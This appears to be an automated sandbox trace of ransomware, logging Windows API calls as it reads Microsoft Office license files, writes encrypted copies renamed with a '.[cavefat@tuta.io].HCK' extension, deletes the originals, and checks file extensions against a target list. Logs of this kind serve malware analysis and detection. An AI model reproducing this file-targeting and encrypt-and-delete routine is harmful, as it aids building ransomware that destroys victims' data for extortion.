[0244.269] lstrlenW (lpString=".bz2") returned 4 [0244.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString=".7z") returned 3 [0244.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.269] lstrlenW (lpString=".dbf") returned 4 [0244.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.269] lstrlenW (lpString=".1cd") returned 4 [0244.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.269] lstrlenW (lpString=".jpg") returned 4 [0244.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.269] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.269] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38 [0244.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.270] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26541) returned 1 [0244.270] CloseHandle (hObject=0x454) returned 1 [0244.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220 [0244.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.271] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.271] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.271] GetLastError () returned 0x0 [0244.271] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0244.454] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0244.455] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.455] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x120, lpOverlapped=0x0) returned 1 [0244.455] SetEndOfFile (hFile=0x2d0) returned 1 [0244.455] CloseHandle (hObject=0x2d0) returned 1 [0244.455] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.455] SetEndOfFile (hFile=0x454) returned 1 [0244.457] CloseHandle (hObject=0x454) returned 1 [0244.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1 [0244.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.459] lstrlenW (lpString=".doc") returned 4 [0244.459] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".docx") returned 5 [0244.459] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.459] lstrlenW (lpString=".pdf") returned 4 [0244.459] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".xls") returned 4 [0244.459] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".xlsx") returned 5 [0244.459] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.459] lstrlenW (lpString=".ppt") returned 4 [0244.459] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.459] lstrlenW (lpString=".zip") returned 4 [0244.459] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".rar") returned 4 [0244.459] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".bz2") returned 4 [0244.459] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString=".7z") returned 3 [0244.459] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.459] lstrlenW (lpString=".dbf") returned 4 [0244.459] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.459] lstrlenW (lpString=".1cd") returned 4 [0244.459] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".jpg") returned 4 [0244.460] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".doc") returned 4 [0244.460] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".docx") returned 5 [0244.460] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.460] lstrlenW (lpString=".pdf") returned 4 [0244.460] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".xls") returned 4 [0244.460] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".xlsx") returned 5 [0244.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.460] lstrlenW (lpString=".ppt") returned 4 [0244.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".zip") returned 4 [0244.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".rar") returned 4 [0244.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".bz2") returned 4 [0244.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString=".7z") returned 3 [0244.460] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".dbf") returned 4 [0244.460] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".1cd") returned 4 [0244.460] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0244.460] lstrlenW (lpString=".jpg") returned 4 [0244.460] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.460] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.460] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38 [0244.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.461] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26541) returned 1 [0244.461] CloseHandle (hObject=0x454) returned 1 [0244.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220 [0244.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.462] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.462] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.463] GetLastError () returned 0x0 [0244.463] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0244.466] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0244.467] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.467] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x120, lpOverlapped=0x0) returned 1 [0244.467] SetEndOfFile (hFile=0x2d0) returned 1 [0244.467] CloseHandle (hObject=0x2d0) returned 1 [0244.467] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.467] SetEndOfFile (hFile=0x454) returned 1 [0244.469] CloseHandle (hObject=0x454) returned 1 [0244.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.470] lstrlenW (lpString=".doc") returned 4 [0244.471] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".docx") returned 5 [0244.471] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.471] lstrlenW (lpString=".pdf") returned 4 [0244.471] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".xls") returned 4 [0244.471] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".xlsx") returned 5 [0244.471] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.471] lstrlenW (lpString=".ppt") returned 4 [0244.471] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString=".zip") returned 4 [0244.471] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".rar") returned 4 [0244.471] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".bz2") returned 4 [0244.471] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".7z") returned 3 [0244.471] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString=".dbf") returned 4 [0244.471] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString=".1cd") returned 4 [0244.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString=".jpg") returned 4 [0244.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.471] lstrlenW (lpString=".doc") returned 4 [0244.471] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".docx") returned 5 [0244.471] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.471] lstrlenW (lpString=".pdf") returned 4 [0244.471] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".xls") returned 4 [0244.471] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.471] lstrlenW (lpString=".xlsx") returned 5 [0244.471] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.471] lstrlenW (lpString=".ppt") returned 4 [0244.472] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.472] lstrlenW (lpString=".zip") returned 4 [0244.472] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString=".rar") returned 4 [0244.472] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString=".bz2") returned 4 [0244.472] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString=".7z") returned 3 [0244.472] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.472] lstrlenW (lpString=".dbf") returned 4 [0244.472] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.472] lstrlenW (lpString=".1cd") returned 4 [0244.472] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0244.472] lstrlenW (lpString=".jpg") returned 4 [0244.472] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.472] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.472] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41 [0244.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.473] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11651) returned 1 [0244.473] CloseHandle (hObject=0x454) returned 1 [0244.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0244.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.473] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.473] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.474] GetLastError () returned 0x0 [0244.474] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0244.478] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0244.478] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.479] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x126, lpOverlapped=0x0) returned 1 [0244.479] SetEndOfFile (hFile=0x2d0) returned 1 [0244.479] CloseHandle (hObject=0x2d0) returned 1 [0244.479] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.479] SetEndOfFile (hFile=0x454) returned 1 [0244.481] CloseHandle (hObject=0x454) returned 1 [0244.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1 [0244.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.482] lstrlenW (lpString=".doc") returned 4 [0244.482] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.482] lstrlenW (lpString=".docx") returned 5 [0244.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.483] lstrlenW (lpString=".pdf") returned 4 [0244.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".xls") returned 4 [0244.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".xlsx") returned 5 [0244.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.483] lstrlenW (lpString=".ppt") returned 4 [0244.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".zip") returned 4 [0244.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".rar") returned 4 [0244.483] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".bz2") returned 4 [0244.483] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".7z") returned 3 [0244.483] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".dbf") returned 4 [0244.483] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".1cd") returned 4 [0244.483] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".jpg") returned 4 [0244.483] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0244.483] lstrlenW (lpString=".doc") returned 4 [0244.483] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.483] lstrlenW (lpString=".docx") returned 5 [0244.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.483] lstrlenW (lpString=".pdf") returned 4 